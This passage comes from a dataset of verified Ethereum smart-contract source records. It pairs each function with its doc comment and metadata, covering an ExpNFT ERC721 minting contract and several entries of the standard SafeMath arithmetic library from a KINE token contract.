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ExpNFT | ExpNFT.sol | 0x4c102bb3eaa54a52c85d529786d0d4389f48dd99 | Solidity | ExpNFT | contract ExpNFT is Context, AccessControlEnumerable, ERC721, ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
string base_uri_head = "https://exponentials.art/metadata/";
string base_uri_tail = ".json";
Counters.Counter private _tokenIdTracker;
uint public pricePerNFT = 0.02 ether;
uint constant public maxNFTPerCall = 20;
uint constant public teamSupply = 50;
uint constant public maxTotalSupply = 1000;
uint constant public publicSupply = maxTotalSupply - teamSupply;
bool saleStarted = false;
bool public teamTokensMinted = false;
uint public tokensBurned = 0;
mapping(address => bool) public giveAwayWhiteList;
constructor() ERC721("Exponentials", "EXP") {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function setPrice(uint newPrice) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Caller cannot alter state");
pricePerNFT = newPrice;
}
function toggleSaleState() public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Caller cannot alter state");
saleStarted = !saleStarted;
}
function addToGiveAwayWhiteList(address[] memory users) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Caller cannot alter whiteList");
for(uint i=0; i<users.length; i++) {
giveAwayWhiteList[users[i]] = true;
}
}
function removeFromGiveAwayWhiteList(address[] memory users) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Caller cannot alter whiteList");
for(uint i=0; i<users.length; i++) {
giveAwayWhiteList[users[i]] = false;
}
}
function withdraw() public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Caller cannot withdraw");
payable(owner()).call{value: address(this).balance}("");
}
function makeTeamMints() public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Caller cannot mint team tokens");
require(!teamTokensMinted, "Team tokens have already been minted");
for (uint i=0; i<teamSupply; i++) {
_mint(owner(), _tokenIdTracker.current());
_tokenIdTracker.increment();
}
teamTokensMinted = true;
}
function mint(uint _amount) public payable {
require(_amount > 0, "Minting 0 tokens is quite useless");
require(_amount <= maxNFTPerCall, "Amount is higher than maximum per call");
require(saleIsActive(), "Sale is not active");
if (giveAwayWhiteList[_msgSender()]) {
_amount--;
giveAwayWhiteList[_msgSender()] = false;
_mint(_msgSender(), _tokenIdTracker.current());
_tokenIdTracker.increment();
}
uint bound;
if (teamTokensMinted) {
bound = maxTotalSupply;
}
else {
bound = publicSupply;
}
if (_amount+_tokenIdTracker.current() > bound) {
_amount = bound-_tokenIdTracker.current();
}
uint amountToPay = _amount*pricePerNFT;
require(amountToPay <= msg.value, "Provided not enough Ether for purchase");
for (uint i=0; i<_amount; i++) {
_mint(_msgSender(), _tokenIdTracker.current());
_tokenIdTracker.increment();
}
if (msg.value > amountToPay) {
payable(_msgSender()).call{value: msg.value - amountToPay}("");
}
}
function burnMany(uint256[] calldata tokenIds) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Caller cannot alter state");
for (uint i; i<tokenIds.length; i++) {
_burn(tokenIds[i]);
}
tokensBurned += tokenIds.length;
}
function tokensMinted() public view returns(uint) {
return _tokenIdTracker.current();
}
function saleIsActive() public view returns(bool){
if (teamTokensMinted) {
return (saleStarted && _tokenIdTracker.current() < maxTotalSupply);
}
else {
return (saleStarted && _tokenIdTracker.current() < publicSupply);
}
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
return string(abi.encodePacked(base_uri_head, Strings.toString(_tokenId), base_uri_tail));
}
/** * @dev See {IERC165-supportsInterface}. */
function supportsInterface(bytes4 interfaceId) public view virtual
override(ERC721, ERC721Enumerable, AccessControlEnumerable) returns (bool)
{
return super.supportsInterface(interfaceId);
}
function _beforeTokenTransfer( address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
} | supportsInterface | function supportsInterface(bytes4 interfaceId) public view virtual
override(ERC721, ERC721Enumerable, AccessControlEnumerable) returns (bool)
{
return super.supportsInterface(interfaceId);
}
| /** * @dev See {IERC165-supportsInterface}. */ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://0c48bb9e343ee83b115fab6ee3e446e9c8eae067fa4dd5c98713f707d39f12a0 | {
"func_code_index": [
4173,
4380
]
} | 11,700 |
||
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
251,
437
]
} | 11,701 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
707,
848
]
} | 11,702 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
1180,
1377
]
} | 11,703 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
1623,
2099
]
} | 11,704 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
2562,
2699
]
} | 11,705 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
